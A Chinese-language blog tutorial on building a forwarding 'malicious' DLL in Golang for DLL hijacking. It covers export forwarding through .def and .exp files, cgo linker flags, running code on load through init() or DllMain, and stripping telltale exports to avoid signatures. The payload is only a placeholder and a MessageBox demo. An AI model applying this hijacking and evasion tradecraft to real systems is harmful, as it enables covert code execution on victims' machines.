本文章将讲解如何使用 Golang 来实现恶意的 dll 劫持转发

dll 转发概述

dll 转发: 攻击者使用恶意dll替换原始dll,重命名原始dll并通过恶意dll将原先的功能转发至原始dll。

该恶意dll一般用来专门执行攻击者希望拦截或修改的功能,同时将所有其他功能转发至原始dll

一般可与 dll 劫持共同使用。

dll 搜索顺序

首先我们来看一下 Windows 系统中 dll 的搜索顺序

上图中攻击者可以控制的就是标准搜索顺序中的步骤,根据情况的不同我们可以选择不同的方式来进行 dll 劫持

步骤

要实现 dll 转发,一般需要以下一些步骤

  1. 解析原始 dll 的导出表
  2. 收集出要拦截修改的函数
  3. 在恶意 dll 中实现拦截功能
  4. 将所有其他函数转发至原始 dll 上
  5. 重命名原始 dll
  6. 使用原始 dll 的名称重命名恶意 dll

PE 文件导出表

什么是 PE 导出表?

导出表就是当前的 PE 文件提供了哪些函数给别人调用。

并不只有 dll 才有导出表,所有的 PE 文件都可以有导出表,exe 也可以导出函数给别人使用,一般情况而言 exe 没有,但并不是不可以有

导出表在哪里?

PE 文件格式在这里并不进行详细介绍,感兴趣的读者可以自行查阅相关资料。

PE 文件包含 DOS 头和 PE 头,PE 头里面有一个扩展头,这里面包含了一个数据目录(包含每个目录的VirtualAddress和Size的数组。目录包括:导出、导入、资源、调试等),从这个地方我们就能够定位到导出表位于哪里

导出表的结构

接下来我们看看导出表的结构

我们使用cff explorer看看dll的导出表

可惜从这个图上我们并不能观察出导出的函数是否是一个转发函数,我们使用16进制编辑器打开看看

_lyshark.dll._lyshark.add.add

这个标识告诉我们这个 dll 的导出函数 add 实际上位于 _lyshark.dll 上

dll 转发如何工作

当我们调用转发函数时,Windows加载程序将检查该 dll(即恶意 dll)所引用的 dll(即原始dll)是否已加载,如果引用的 dll 还没有加载到内存中,Windows加载程序将加载这个引用的 dll,最后搜索该导出函数的真实地址,以便我们调用它

dll 转发(dll 劫持)的一般实现

我们能在网上搜索到一些 dll 转发(dll 劫持)的实现,基本是使用微软 MSVC 编译器的特殊能力4

MSVC 支持在 cpp 源文件中写一些链接选项,类似

列出导出函数

下面我们采用 MSVC 对 zlib.dll 实现一个样例5

首先我们能使用 DLL Export Viewer 工具查看并导出一个 dll 的导出表

View > HTML Report - All Functions

我们可以得到一个类似于下面的 html

给 MSVC 链接器生成导出指令

我们现在可以把这个 html 转化为 MSVC 的导出指令5

然后我们可以获得这样的输出

下面的具体怎么生成不再进行介绍,如果感兴趣可以查看 Windows Privilege Escalation - DLL Proxying 或 基于AheadLib工具进行DLL劫持

dll 转发(dll 劫持)的 mingw 实现

如果有的人和我一样,不喜欢安装庞大的 Visual Studio,习惯用 gcc mingw 来完成,我们也是能够完成的

def 文件介绍

这里我们使用 gcc 编译器和 mingw-w64(这个是mingw的改进版)

此处我们不再采用直接把链接指令写入代码源文件的方式,而是采用模块定义文件 (.Def)

模块定义 (.def) 文件为链接器提供有关导出、属性和有关要链接的程序的其他信息的信息。.def 文件在构建 DLL 比较有用。详情可参见 MSDN Module-Definition (.Def) Files

当然,我们采用这种方式的原因是因为 .def 能被 mingw-w64 所支持,我们要做的就是在.def文件中写入我们要转发到原始dll的所有函数的列表,并在编译dll的时候在GCC中设置该 .def 文件参与链接。

简单的示例

实现流程

这里我们采用一个简单的样例,我们采用常规写了一个 dll, 该 dll 文件导出一个 add 函数,该导出函数的作用就是把传入的两个数值进行相加

我们将它编译成 dll 文件

然后我们写一个主程序来调用它

然后我们进行编译执行

可以看到如下输出

然后我们将我们刚才生成的 add.dll 重命名为 _add.dll

然后创建一个 .def 文件

functions.def

LIBRARY _add.dll
EXPORTS
    add = _add.add @1
LIBRARY _add.dll_add.dllEXPORTS==_addadd_add.dll@1

我们可以拿 DLL Export Viewer 或 StudyPE+ 等工具看看

Ordinal@1

然后编写我们的恶意 dll

如上所示,当然,这只是一个样例,所以我并没有写下任何恶意代码

现在可以编译我们的恶意dll了

  1. -shared表示我们要编译一个共享库(非静态)
  2. -o指定可执行文件的输出文件名
  3. add.dll是我们想给我们的恶意 dll 起的名字
  4. evil.cpp是我们在其中编写恶意 dll 代码的 .cpp 文件

如果编译成功的话,你应该能在同目录下找到刚刚生成好的恶意 dll(add.dll)

我们再使用 PE 查看工具看看导出表

可以看到中转输出表上已经有了

注意我们这个 dll 并没有写任何功能性代码,让我们使用刚才编译的 main.exe 测试一下

可以发现功能转发正常

当然,当导出函数过多的时候我们不可能一个个自己去导出表里抄,可以写一个脚本自动化完成这个工作,不过这不是我们本文的重点,或者你可以使用 mingw-w64 里面自带的 gendef.exe 工具

.def 和 .exp 文件

exp

文件是指导出库文件的文件,简称导出库文件,它包含了导出函数和数据项的信息。当LIB创建一个导入库,同时它也创建一个导出库文件。如果你的程序链接到另一个程序,并且你的程序需要同时导出和导入到另一个程序中,这个时候就要使用到exp文件(LINK工具将使用EXP文件来创建动态链接库)。

def

def文件的作用即是,告知编译器不要以microsoft编译器的方式处理函数名,而以指定的某方式编译导出函数(比如有函数func,让编译器处理后函数名仍为func)。这样,就可以避免由于microsoft VC++编译器的独特处理方式而引起的链接错误。

dlltoolevil.cppevil.o

额外的说明

当然,你也可以通过 clang 来完成这项工作

我们如何用 Golang 来实现转发 dll

go build -buildmode=c-shared -o exportgo.dll exportgo.go

下文我将用 gcc 作为 cgo 的外部链接器,clang也可以按照同样的思想

尝试与思考

#progma comment(linker, '/EXPORT')

让我们现在来思考一下整个编译流程:

  • 预处理
    预处理用于将所有的#include头文件以及宏定义替换成其真正的内容
  • 编译
    将经过预处理之后的程序转换成特定汇编代码(assembly code)的过程
  • 汇编
    汇编过程将上一步的汇编代码转换成机器码(machine code),这一步产生的文件叫做目标文件,是二进制格式。gcc汇编过程通过as命令完成,这一步会为每一个源文件产生一个目标文件
  • 链接
    链接过程将多个目标文以及所需的库文件(.so等)链接成最终的可执行文件(executable file)。

前三步都是在将代码处理成二进制机器码,而我们所要操控的导出表是属于文件格式的一部分,所以应该是需要在链接这个步骤做文章

借助这个思路,我们对上面的样例做做文章。

evil.cpp

或者利用上文中先将 .def 转化成 .exp 再进行手动链接,我们均能得到我们预期的转发dll。

golang 中的实现

我们的目的是需要把 .def 或 .exp 文件放入整个编译流程的链接环节中去。

首先我们需要先了解一下 cgo 的工作方式11:它用c编译器编译c,用Go编译器编译Go,然后使用 gcc 或 clang 将他们链接在一起,我们甚至能够通过 CGO_LDFLAGS 来将flag传递至链接器。

-ldflags=""go tool link

我们去看看 go tool link的说明书,帮助文件里面提到了

-extld linker
    Set the external linker (default "clang" or "gcc").
-extldflags flags
    Set space-separated flags to pass to the external linker.
-extld-extldflags
ldld
-Wl-Wl,option-Wlld,,ld

等同于

等同于

-Wl
-Wl-extldflags

所以我们现在可以创建一个样例 go 程序用来编译 dll

main.go

package main

import "C"

func main() {
    // Need a main function to make CGO compile package as C shared library
}

然后进行编译

注意:-Wl后面要写上 .def 或 .exp 文件的绝对路径,主要是由于调用程序时候的工作路径问题,只需要记住这一点即可。

现在我们得到了一个 golang 编译出来的转发dll

_cgo_dummy_export

dll 转发的总结

其实 cgo 主要的编译手段为:用c编译器编译c,用Go编译器编译Go,然后使用 gcc 或 clang 将他们链接在一起。我们所需要做的只是将它们粘合在一起。

在 Golang 中如何实现恶意 dll

我们已经知道了该怎么在 Golang 中实现转发 dll,接下来我们可以尝试实现恶意 dll 了。

init 写法

如果你看这篇文章,相信你已经知道 Go 会默认执行包中的 init() 方法。所以我们可以把我们的恶意代码定义到这个函数里面去。

一般的dll实现方式为

package main

func Add(x, y int) int {
    return x + y
}

func main() {
    // Need a main function to make CGO compile package as C shared library
}

我们只需要加上一个 init 方法,并且让恶意代码异步执行即可(防止 LoadLibrary 卡住)

package main

func init() {
    go func() {
        // 你的恶意代码
    }()
}

func Add(x, y int) int {
    return x + y
}

func main() {
    // Need a main function to make CGO compile package as C shared library
}

对于 windows dll 更细粒度的控制

对于windows dll,DllMain11 是一个可选的入口函数

对于 DllMain 的介绍,我这里就不再赘述了,感兴趣的可以自行进行查询

系统是在什么时候调用DllMain函数的呢?静态链接或动态链接时调用LoadLibrary和FreeLibrary都会调用DllMain函数。DllMain的第二个参数fdwReason指明了系统调用Dll的原因,它可能是::

DLL_PROCESS_ATTACHDLL_PROCESS_DETACHDLL_THREAD_ATTACHDLL_THREAD_DETACH

这些流程根据你自己的需求来进行控制。当然,如果你有过 Windows 编程经验,应该对这个比较熟悉。

Golang 是一个有 GC 的语言,需要在加载时运行 Golang 本身的运行时,所以暂时没有太好的方案在 Golang 中实现 DllMain 让外层直接调用入口点,因为没有初始化运行时。

我们可以变相通过 cgo 来实现这个目的。总体思路为,利用 C 来写 DllMain,通过 c 来调用 Golang 的函数

c 实现 DllMain

首先我们可以在 c 中定义我们自己的 DllMain

CreateThread
DLL_PROCESS_ATTACH

Golang 恶意代码

我们现在来定义我们的恶意代码实现

package main

import "C"

import (
    "unsafe"
    "syscall"
)

// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
    ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
        uintptr(hwnd),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
        uintptr(flags))

    return int(ret)
}

// MessageBoxPlain of Win32 API.
func MessageBoxPlain(title, caption string) int {
    const (
        NULL  = 0
        MB_OK = 0
    )
    return MessageBox(NULL, caption, title, MB_OK)
}

// OnProcessAttach is an async callback (hook).
//export OnProcessAttach
func OnProcessAttach(
    hinstDLL unsafe.Pointer, // handle to DLL module
    fdwReason uint32, // reason for calling function
    lpReserved unsafe.Pointer, // reserved
) {
    MessageBoxPlain("OnProcessAttach", "OnProcessAttach")
}

func main() {
    // Need a main function to make CGO compile package as C shared library
}
OnProcessAttach

组合 Golang 和 c 编译

现在我们有了 .go 和 .c,还需要把它们两个粘合起来

第一种方案

你可以通过 cgo 的一般写法,在 .go 的注释中把 c 代码拷贝进去,例如

package main

/*
#include "dllmain.h"

typedef struct {
    HINSTANCE hinstDLL;  // handle to DLL module
    DWORD fdwReason;     // reason for calling function // reserved
    LPVOID lpReserved;   // reserved
} MyThreadParams;

DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
    MyThreadParams params = *((MyThreadParams*)lpParam);
    OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
    free(lpParam);
    return 0;
}
...c源码文件
*/

import "C"

import (
    "unsafe"
    "syscall"
)

// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
    ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
        uintptr(hwnd),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
        uintptr(flags))

    return int(ret)
}
...go 源码文件
第二种方案
go build

比如你可以创建一个 .h 文件

然后在 .go 中引用它

package main

/*
#include "dllmain.h"
*/
import "C"

import (
    "unsafe"
    "syscall"
)

// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
    ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
        uintptr(hwnd),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
        uintptr(flags))

    return int(ret)
}

然后就可以一起编译了。

导出表的问题

确实,现在我们可以编译出恶意的转发dll了,但是我们可能会发现导出表里面其实有很多奇奇怪怪的导出函数

这些导出函数可能会成为某些特征

我们的原始dll并没有这些导出函数,但是生成的转发dll这么多奇怪的导出函数该怎么去掉?

我们可以同样可以使用上文的 exp 文件来解决,它就是一个导出库文件,来定义有哪些导出的。

根据上文的方法我们使用 dlltool 从 def 文件生成一个 exp 文件,然后编译时加入链接即可。

ldflags-s -w

最后的最后

仓库相关示例已经上传至 github.com/akkuman/go-dll-evil

感兴趣的可以查看。